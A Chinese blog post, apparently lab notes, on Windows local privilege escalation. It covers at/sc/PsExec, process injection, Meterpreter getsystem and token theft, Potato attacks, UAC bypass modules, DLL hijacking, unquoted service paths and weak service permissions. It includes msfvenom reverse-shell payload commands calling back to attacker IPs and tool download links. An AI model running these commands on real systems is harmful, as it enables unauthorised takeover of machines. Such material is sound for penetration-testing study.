本地提权【笔记总结】

news2024/11/13 23:12:52

文章目录

  • 服务命令
      • at命令提权
          • 介绍
          • 适用版本
          • 复现
      • sc命令提权
          • 介绍
          • 适用版本
          • 复现
      • ps应用程序提权
          • 复现
  • 进程注入
      • 进程迁移注入
          • 介绍
          • 条件
          • 复现
      • MSF自动化注入
          • 介绍
          • getsystem
            • 原理
          • 复现
  • MSF令牌窃取
          • 介绍
          • 复现
      • 烂土豆提权
          • 介绍
          • 适用版本
          • 复现
  • UAC绕过
      • 介绍
      • 复现
          • 使用`ask模块`绕过
          • 使用`bypassuac_sluihijack`模块绕过
          • 使用`bypassuac_silentcleanup`模块绕过
          • UACME工具绕过
            • 工具下载
            • 复现
  • DLL劫持提权
      • 介绍
      • 原理
          • DLL替换
          • 路径不带引号绕过
      • 复现
          • DLL劫持
          • 路径不带引号绕过
  • 不安全服务
      • 介绍
      • 利用方式
      • 复现

服务命令

  1. at命令提权

    1. 介绍
      1. at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用system权限。
    2. 适用版本
      1. Win2000&Win2003&XP中还是存在的,在Win7以后被剔除当我们拿到低权限的用户,通过连接上服务器后,可以通过at命令来进行本地提权。
    3. 复现
      1. 直接使用at 21:00 /interactive cmd命令,成功就会弹出黑窗口即使system权限
  2. sc命令提权

    1. 介绍
      1. sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。
    2. 适用版本
      1. windows7、8、03、08、12、16(win2003 ok其他未测基本失败)
    3. 复现
      1. 创建服务,直接使用以下命令其中一条即可

        1.  sc create syscmd binPath= "cmd /K start" type= own type= interact start= demand error= normal
           sc Create syscmd binPath="cmd /K start" type = own type = interact
          
      2. 启动该服务,sc start stscmd

        1. image
  3. ps应用程序提权

    1. 复现
      1. 直接将PsExec.exe上传至靶机之后,运行PsExec.exe -accepteula -s -i -d cmd命令即可

        1. 工具地址:https://pan.baidu.com/s/1qnZOprljTBwFnt06TCEsWA?pwd=cong
        2. image
      2. 有些计算机是直接弹出有些还需要点击,这与UAC的值相关

进程注入

  1. 进程迁移注入

    1. 介绍
      1. 进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。
    2. 条件
      1. 这里如果使用的是web权限是无法执行的,必须获取到类似与administrator的权限才能进行进程注入。同时这类提权是不会被杀毒软件拦截的,这是系统的一种特性。
    3. 复现
      1. 首先上传pinjector.exe工具

        1. 工具地址:https://pan.baidu.com/s/1S41aqaaEFsQ_ZrNvrWss1w?pwd=cong
      2. 使用工具列出所有进程pinjector.exe -l

        1. image
      3. 选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口pinjector.exe -p <pid> cmd <port>

        1. image
  2. MSF自动化注入

    1. 介绍
      1. 这个提权其实很简单,这个MSF自动化提权和之前在溢出提权中提到的自动化提权是不一样的,溢出提权中提到的自动化提权是通过比对补丁信息进行提权,而这个是自动化提权是直接输入命令后,MSF自动执行,只会显示提权成功与失败。
    2. getsystem
      1. 原理
        1. getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
        2. getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
        3. Windows服务已启动,导致与命名管道建立连接。
        4. 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
      2. 复现
        1. 连接上了直接使用getsystem即可

MSF令牌窃取

  1. 介绍
    1. 首先需要生成一个木马然后让其上线,并连接上去,这里我就用之前已经生成好的木马,就不再生成了,在上面也提到过MSF生成木马的命令。
  2. 复现
    1. 先用msf生成后门,连接后门

    2. 使用一下命令即可

      1.  use incognito
         list_tokens -u           #列出有的令牌
         impersonate_token "NT AUTHORITY\SYSTEM"    #窃取system令牌
        
      2. image
  3. 烂土豆提权

    1. 介绍
      1. 烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户。

        欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端,对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的,模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

    2. 适用版本
      1. Windows 7/8/10,Windows server 2008/2012
    3. 复现
      1. 将工具上传至靶机

        1. 工具下载;Release Fresh potatoes · ohpe/juicy-potato (github.com)
      2. 使用msf工具执行以下命令

        1.  execute -cH -f ./potato.exe    ##执行烂土豆程序
           use incognito                  ##加载窃取功能
           list_tokens -u                 ##查看可窃取的令牌
           impersonate_token "NT AUTHORITY\SYSTEM"   ##使用令牌
          
      3. image

UAC绕过

  1. 介绍

    1. UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。
    2. 也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。
    3. 使用msconfig命令即可打开查看
  2. 复现

    1. 使用ask模块绕过
      1. 搜索UAC,search uac,找一个喜欢的模块进行攻击

        1. image
      2. 选好模块之后执行以下命令

        1.  use exploit/windows/local/ask    ##选择模块
           sessions         ##查看后台进程
           set session 1    ##选择进程
           set lport 5555   ##设置监听端口,有时候返回回来会出现错误,所以就另起一个监听。
          
      3. image

    2. 使用bypassuac_sluihijack模块绕过
      1. 直接使用以下命令

        1.  use exploit/windows/local/bypassuac   ##选择bypass
           sessions         ##选择会话
           set session 1    ##设定会话
           set lport 5555   ##设定反弹端口,这里不设置也可以,但是有时候直接反弹回来,会出现反弹不成功的情况。
           run  ##执行
          
    3. 使用bypassuac_silentcleanup模块绕过
      1. 直接使用以下命令即可

        1.  use exploit/windows/local/bypassuac_silentcleanup   ##选择模块
           sessions    ##选择会话
           set session 5   ##设置会话
           set lport 6666  ##设置监听端口
           run   ##执行
          
    4. UACME工具绕过
      1. 工具下载
        1. 老版工具:https://pan.baidu.com/s/1rTzxW60frZL65Q_6Nz10XQ?pwd=cong
        2. 新版需要自己编译:UACMe
      2. 复现
        1. 这个工具挺牛的,竟然把我本机给提权了

        2. 使用msf生成后门进行监听5577端口

        3. 将工具上传至靶机,使用以下命令Akagi64.exe 41 D:\Desktop\UACME-Akagi\cong.exe,这个数字是使用第几个模块,通过不断尝试,在41模块中可以进行提权,61模块也不错

          1. image
          2. image

DLL劫持提权

  1. 介绍

    1. DLL劫持是一种安全攻击技术,它利用Windows操作系统在加载动态链接库(DLL)时的行为特点。在这种攻击中,攻击者将恶意的DLL文件放置在操作系统或应用程序预期加载合法DLL的位置。当应用程序或操作系统尝试加载其所需的DLL时,由于路径或加载顺序的问题,系统会错误地加载攻击者提供的恶意DLL。这可以使攻击者执行任意代码,从而实现提权或其他恶意行为。此技术常被用于绕过安全限制,获取更高的系统权限,或在系统中植入恶意软件。
  2. 原理

    1. DLL替换
      1. Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径。

        它会根据下面的顺序进行搜索:

        1、应用程序加载的目录
        2、C:\Windows\System32
        3、C:\Windows\System
        4、C:\Windows
        5、当前工作目录 Current Working Directory,CWD
        6、在 PATH 环境变量的目录(先系统后用户)

        程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

    2. 路径不带引号绕过
      1. 当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行路径,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
      2. 不过这个确实局限性还是很大的,比如虚拟机中没有找到这样的情况,实体机没有找到,客户现场机器也没找到…同时还有一个问题是就算有,很多都是在C盘中,如果基本权限不够大,那么也凉凉,也用不了。
  3. 复现

    1. DLL劫持
      1. 工具下载: https://pan.baidu.com/s/1CQtyIl_utGbAAa5VrJdCzg?pwd=cong

      2. 首先先收集dll文件

        1. 这里会出现一个问题,没有远程桌面我们如何收集,这里其实有个很简单的办法就是,通过上线普通木马后,看看能不能查看有存在哪些服务,然后找到相关服务本地安装,安装后使用火绒剑等工具进行查找加载的dll文件即可。

          像系统文件加载的dll我们是动不了的,我们一般能懂的都是未知文件和数字签名文件。

        2. image

      3. 使用工具检测是否可以进行劫持

        1. image
      4. 通过msf生成后门dll文件,msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.20 lport=5577 -f dll >libeay32.dll

      5. 使用msf监听5577端口

      6. 当靶机使用ftp时自动触发后门

    2. 路径不带引号绕过
      1. 通过wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """命令来寻找是否存在不带引号具有空格的特征

        1. image
        2. image
      2. 利用msf生成后门,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5577 -f exe -o Microsoft.exe

      3. 启动监听,重启服务即可

      4. 没有独显成功,即使将杀毒软件关闭,系统也会自动清理掉这个病毒,因该需要做下免杀

不安全服务

  1. 介绍

    1. Windows服务有时被配置为与服务本身或与服务运行的目录相关的弱权限。这可能允许攻击者操纵服务,以便在其启动时执行任意代码,并将权限提升到SYSTEM。
  2. 利用方式

    1. 将服务的 binpath 更改为我们上传的木马文件路径,以便在服务启动时执行恶意代码从而获得system权限,这里可以利用accesschk.exe工具辅助实现。
    2. accesschk是一个windows系统配置检查工具,用于查看文件、注册表项、服务、进程、内核对象等的有效权限。该工具将有助于识别当前用户是否可以修改某个服务目录中的文件,由于它是微软官方出品,我们将其上传至靶机,执行不会受到阻碍。
  3. 复现

    1. 工具下载:accesschk.exe

    2. 查看工具帮助,accesschk.exe /accepteula

      1. image
    3. 查看用户可以修改哪些服务的权限,accesschk.exe -uwcqv "Administrators" *

      1. image
    4. 修改服务路径,sc config napagent binpath= "C:\Microsoft.exe"(Microsoft.exe为木马)

      1. image
    5. 启动监听和启动服务

      1. image
      2. 并不是system服务,其次很容易掉线,可能是选错了服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2155135.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

谷歌的AI反击战:创始人谢尔盖·布林的回归与大模型组合的未来

近年来&#xff0c;随着AI技术的迅猛发展&#xff0c;尤其是ChatGPT等大语言模型的出现&#xff0c;全球科技格局正发生剧烈变化。作为曾经引领AI潮流的谷歌&#xff0c;在这场竞争中逐渐失去了领头羊的地位。然而&#xff0c;谷歌的创始人之一谢尔盖布林&#xff08;Sergey Br…

计算组合数

1.递推 #include<bits/stdc.h> #include<unordered_map> #include<unordered_set> using namespace std; #define int long long //可能会超时 #define PII pair<int,int> const int INF 0x3f3f3f3f, mod 1e9 7; const int N 2005; int a, b,n; …

手机自动化测试环境之夜神模拟器inspector部署验证

1、自动化测试环境部署_总览图检查表流程图 Python需要安装Appium-Python-Clicent去定位元素&#xff1b;Appium是一个中间的服务器&#xff0c;它需要依赖node.js&#xff0c;python的脚本通过appium和手机进行交互&#xff1b;手机app的环境都是java环境&#xff0c;先安装jd…

9、等保测评介绍

数据来源&#xff1a;9.等保测评介绍_哔哩哔哩_bilibili 信息系统等级测评 信息系统等级测评是测评机构依据国家信息安全等级保护制度的规定&#xff0c;按照相关管理规范和技术标准&#xff0c;对未涉及国家秘密的信息系统的安全等级保护状况进行检测评估的活动。 等级测评…

gitlab 的CI/CD (一)

前言 GitLab CI/CD 是一个内置在GitLab中的工具&#xff0c;用于通过持续方法进行软件开发&#xff1a; Continuous Integration (CI) 持续集成Continuous Delivery (CD) 持续交付Continuous Deployment (CD) 持续部署 持续集成的工作原理是将小的代码块推送到Git仓库…

JavaEE: 深入探索TCP网络编程的奇妙世界(三)

文章目录 TCP核心机制TCP核心机制三: 连接管理建立连接(三次握手)断开连接(四次挥手)三次握手/四次挥手 流程简图 TCP核心机制 书接上文~ TCP核心机制三: 连接管理 建立连接(三次握手),断开连接(四次挥手). 这里的次数指的是网络通信的次数,挥手/握手是形象的比喻(handshake…

PM2.5粉尘传感器详解(STM32)

目录 一、介绍 二、传感器原理 1.原理图 2.引脚描述 3.工作原理介绍 4.粉尘浓度转化关系 5.空气污染指数 三、程序设计 main.c文件 PM25.h文件 PM25.c文件 四、实验效果 五、资料获取 项目分享 一、介绍 GP2Y1014AU是日本夏普公司开发的一款光学灰尘浓度检测传…

探索 Web Speech API:实现浏览器语音识别与合成

引言 Web Speech API 是一项由 W3C 开发的 Web 标准&#xff0c;为开发者提供了在 Web 应用程序中实现语音识别和语音合成的能力。通过 Web Speech API&#xff0c;我们可以让网页与用户进行语音交互&#xff0c;实现更加智能化和便捷的用户体验。本文将深入探讨 Web Speech A…

14 vue3之内置组件trastion全系列

前置知识 Vue 提供了 transition 的封装组件&#xff0c;在下列情形中&#xff0c;可以给任何元素和组件添加进入/离开过渡: 条件渲染 (使用 v-if)条件展示 (使用 v-show)动态组件组件根节点 自定义 transition 过度效果&#xff0c;你需要对transition组件的name属性自定义。…

【Linux】当前进展

驱动层日志添加了下文件目录&#xff0c;函数&#xff0c;代码行的打印&#xff08;这里要小心&#xff0c;驱动目录源代码打印日志里边添进程号可能有问题&#xff0c;因为在驱动初始化的时候&#xff0c;内核还没有创建进程&#xff0c;不过猜测可以先不打印进程相关信息&…

python使用vscode 所需插件

1、导读 环境&#xff1a;Windows 11、python 3.12.3、Django 4.2.11、 APScheduler 3.10.4 背景&#xff1a;换系统需要重新安装&#xff0c;避免后期忘记&#xff0c;此处记录一下啊 事件&#xff1a;20240921 说明&#xff1a;记录&#xff0c;方便后期自己查找 2、插件…

Ansys Zemax | 如何使用琼斯矩阵表面

附件下载 联系工作人员获取附件 概览 琼斯矩阵 (Jones Matrix) 表面是一种非常简便的定义偏振元件的方法。这篇文章通过几个示例介绍了如何使用琼斯矩阵。 介绍 光线追迹程序一般只考虑光线的几何属性&#xff08;位置、方向和相位&#xff09;。光线传播到一个表面时的全…

SQL - 进阶语法(二)约束

1. SQL约束 约束用于约束表中的数据规则&#xff0c;如若存在违反行为&#xff0c;行为会被约束终止。 • NOT NULL 确保列不能有NULL值 如果添加一行新的数据&#xff0c;不能有null值&#xff0c;否则无法添加 新建表格 CREATE TABLE new_table( ID int NOT NULL, NAME …

梯形区域分解实现避障路径规划全覆盖路径规划

系列文章目录 提示&#xff1a;这里可以添加系列文章的所有文章的目录&#xff0c;目录需要自己手动添加 TODO:写完再整理 文章目录 系列文章目录前言&#xff08;1&#xff09;功能&#xff08;2&#xff09;算法&#xff08;3&#xff09;参考链接&#xff08;4&#xff09;…

【服务器第二期】mobaxterm软件下载及连接

【服务器第二期】mobaxterm软件下载及连接 前言什么是SSH什么是FTP/SFTP mobaxterm软件介绍mobaxterm软件下载SSH登录使用方法1-新建ssh连接方法2-打开已有的ssh连接方法3-通过ssh命令建立连接 SFTP数据传输方法1-建立ssh连接后直接拖拽方法2-建立sftp连接再拖拽方法3-直接使用…

Nacos配置管理(2)-----配置热更新

有很多的业务相关参数&#xff0c;将来可能会根据实际情况临时调整。例如购物车业务&#xff0c;购物车数量有一个上限&#xff0c;默认是10&#xff0c;对应代码如下&#xff1a; 现在这里购物车是写死的固定值&#xff0c;我们应该将其配置在配置文件中&#xff0c;方便后期…

while(cin>>a)

while(cin>>a)要结束输入CTRLZ换行 输入先调用&#xff1a; istream& operator>> (istream& is, string& str); 但返回值类型时istream&#xff0c; 再调用&#xff1a; 重载的原为(bool)istream&#xff0c;返回值为bool,重载的为括号&#xff0c…

若依前后端分离版项目电子证书查询系统部署到Linux生产环境

项目背景&#xff1a;这个项目之前是PHP语言开发的&#xff0c;采用MVC混编的&#xff0c;前端用Layui框架后端用ThinkPHP8.0框架。客户要求给改成Java语言的&#xff0c;就选用了若依前后端分离低代码版。本地开发调试没有问题&#xff0c;就记录下整个项目上线过程。 服务器背…

How can I stream a response from LangChain‘s OpenAI using Flask API?

题意&#xff1a;怎样在 Flask API 中使用 LangChain 的 OpenAI 模型流式传输响应 问题背景&#xff1a; I am using Python Flask app for chat over data. In the console I am getting streamable response directly from the OpenAI since I can enable streming with a f…

Go语言基础学习02-命令源码文件;库源码文件;类型推断;变量重声明

命令源码文件 GOPATH指向的一个或者多个工作区&#xff0c;每个工作区都会有以代码包为基本组织形式的源码文件。 Go语言中源码文件可以分为三类&#xff1a;命令源码文件、库源码文件、测试源码文件。 命令源码文件&#xff1a; 命令源码文件是程序的运行入口&#xff0c;是每…